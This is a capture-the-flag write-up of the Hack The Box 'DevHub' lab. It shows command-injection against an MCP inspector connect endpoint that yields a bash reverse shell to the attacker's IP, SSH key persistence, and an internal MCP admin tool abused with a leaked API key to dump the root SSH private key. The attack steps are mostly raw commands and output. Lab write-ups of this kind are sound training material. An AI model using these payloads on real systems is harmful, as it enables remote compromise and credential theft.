> For the complete documentation index, see [llms.txt](https://eth3real.gitbook.io/eth3real/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://eth3real.gitbook.io/eth3real/documentation/platforms/hackthebox/labs/medium/devhub.md).

# DevHub

<figure><img src="https://1273066219-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC7crIcZA0OheDtjogjSr%2Fuploads%2FV99JrMgrNoiVbau2aDHc%2Fimage.png?alt=media&amp;token=8c4e77ae-5830-4729-b7ed-087d8243cf81" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1273066219-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC7crIcZA0OheDtjogjSr%2Fuploads%2F4fxmqHuytNaHCnqcUUzt%2Fimage.png?alt=media&amp;token=b976f7b2-56d7-4786-8666-d4aee745ca3e" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/advisories/GHSA-232v-j27c-5pp6>" %}

```
curl http://devhub.htb:6274/api/mcp/connect \
  --header "Content-Type: application/json" \
  --data '{
    "serverConfig": {
      "command": "bash",
      "args": ["-c", "sh -i >& /dev/tcp/10.10.14.71/4444 0>&1"],
      "env": {}
    },
    "serverId": "mytest"
  }'
```

```
mcp-dev@devhub:~$ ss -tulpn
Netid        State         Recv-Q        Send-Q               Local Address:Port                  Peer Address:Port        Process                                            
udp          UNCONN        0             0                    127.0.0.53%lo:53                         0.0.0.0:*                                                              
udp          UNCONN        0             0                          0.0.0.0:68                         0.0.0.0:*                                                              
tcp          LISTEN        0             100                      127.0.0.1:55771                      0.0.0.0:*                                                              
tcp          LISTEN        0             128                      127.0.0.1:8888                       0.0.0.0:*                                                              
tcp          LISTEN        0             4096                 127.0.0.53%lo:53                         0.0.0.0:*                                                              
tcp          LISTEN        0             128                      127.0.0.1:5000                       0.0.0.0:*                                                              
tcp          LISTEN        0             100                      127.0.0.1:44119                      0.0.0.0:*                                                              
tcp          LISTEN        0             100                      127.0.0.1:36109                      0.0.0.0:*                                                              
tcp          LISTEN        0             100                      127.0.0.1:52921                      0.0.0.0:*                                                              
tcp          LISTEN        0             100                      127.0.0.1:50861                      0.0.0.0:*                                                              
tcp          LISTEN        0             100                      127.0.0.1:60959                      0.0.0.0:*                                                              
tcp          LISTEN        0             511                        0.0.0.0:6274                       0.0.0.0:*            users:(("node-MainThread",pid=1275,fd=29))        
tcp          LISTEN        0             128                        0.0.0.0:22                         0.0.0.0:*                                                              
tcp          LISTEN        0             511                        0.0.0.0:80                         0.0.0.0:*                                                              
tcp          LISTEN        0             128                           [::]:22                            [::]:*                                                          
```

will create .ssh folder and add our public ssh key

```
mcp-dev@devhub:~/.ssh$ ls -la
total 12
drwx------ 2 mcp-dev mcp-dev 4096 Jun  1 06:14 .
drwxr-x--- 5 mcp-dev mcp-dev 4096 Jun  1 06:21 ..
-rw------- 1 mcp-dev mcp-dev   91 Jun  1 06:12 authorized_keys
```

Now we can local port forward&#x20;

#### Attacker Machine :&#x20;

```
┌──(kali㉿kali)-[~/Eth3real/HTB/Labs/DevHub]
└─$ ssh -i ~/.ssh/id_ed25519 mcp-dev@10.129.9.229
The authenticity of host '10.129.9.229 (10.129.9.229)' can't be established.
ED25519 key fingerprint is: SHA256:K64LcxfMoWF9TY77Q+quN1nvBzFftQ11ZxoH8eULpCs
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.9.229' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-179-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Mon Jun  1 06:15:57 AM UTC 2026

  System load:           0.1
  Usage of /:            76.7% of 9.50GB
  Memory usage:          14%
  Swap usage:            0%
  Processes:             228
  Users logged in:       0
  IPv4 address for eth0: 10.129.9.229
  IPv6 address for eth0: dead:beef::a0de:adff:fe5f:fa32

  => There is 1 zombie process.


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
```

<figure><img src="https://1273066219-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC7crIcZA0OheDtjogjSr%2Fuploads%2FzZcmSYsMnJq9plW7knll%2Fimage.png?alt=media&amp;token=e4750a33-1a5d-45ff-addd-a3b49f9e0d08" alt=""><figcaption></figcaption></figure>

we have the token &#x20;

<figure><img src="https://1273066219-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC7crIcZA0OheDtjogjSr%2Fuploads%2F22vTe2HztIgUQr08cB2O%2Fimage.png?alt=media&amp;token=1f869933-3e12-4e2c-984b-10e798f5949f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1273066219-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC7crIcZA0OheDtjogjSr%2Fuploads%2FoUpJkkBtITCpKn2RfXJQ%2Fimage.png?alt=media&amp;token=809e98a5-3579-4973-96e9-e28324e4b4f0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1273066219-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC7crIcZA0OheDtjogjSr%2Fuploads%2Fc4SmSWFl0dh1gzjMjJdG%2Fimage.png?alt=media&amp;token=d10b5711-cf22-4891-8a13-f8d807435011" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1273066219-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FC7crIcZA0OheDtjogjSr%2Fuploads%2FJzwOX9LWp1voHSoTOgDl%2Fimage.png?alt=media&amp;token=f7cdb0cb-c481-4a08-bd27-2afc8e24331a" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
analyst@devhub:~$ curl -X POST http://127.0.0.1:5000/tools/call -H "content-type: application/json" -H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" -d '{"name": "ops._admin_dump", "arguments": {"target": "ssh_keys" , "confirm": true}}'
{"note":"Emergency recovery key dump","root_private_key":"-----BEGIN OPENSSH PRIVATE KEY-----\n<redacted>\n-----END OPENSSH PRIVATE KEY-----\n","target":"ssh_keys"}
analyst@devhub:~$ 
```

{% endcode %}

{% code overflow="wrap" %}

```
┌──(kali㉿kali)-[~/Eth3real/HTB/Labs/DevHub]
└─$ ssh -i id_rsa root@devhub.htb
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-179-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Mon Jun  1 07:20:08 AM UTC 2026

  System load:           0.0
  Usage of /:            77.1% of 9.50GB
  Memory usage:          21%
  Swap usage:            0%
  Processes:             239
  Users logged in:       3
  IPv4 address for eth0: 10.129.9.229
  IPv6 address for eth0: dead:beef::a0de:adff:fe5f:fa32


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

1 additional security update can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Mon Jun 1 07:20:33 2026 from 10.10.14.71
root@devhub:~# id
uid=0(root) gid=0(root) groups=0(root)
root@devhub:~# ls root.txt 
root.txt
root@devhub:~# 
```

{% endcode %}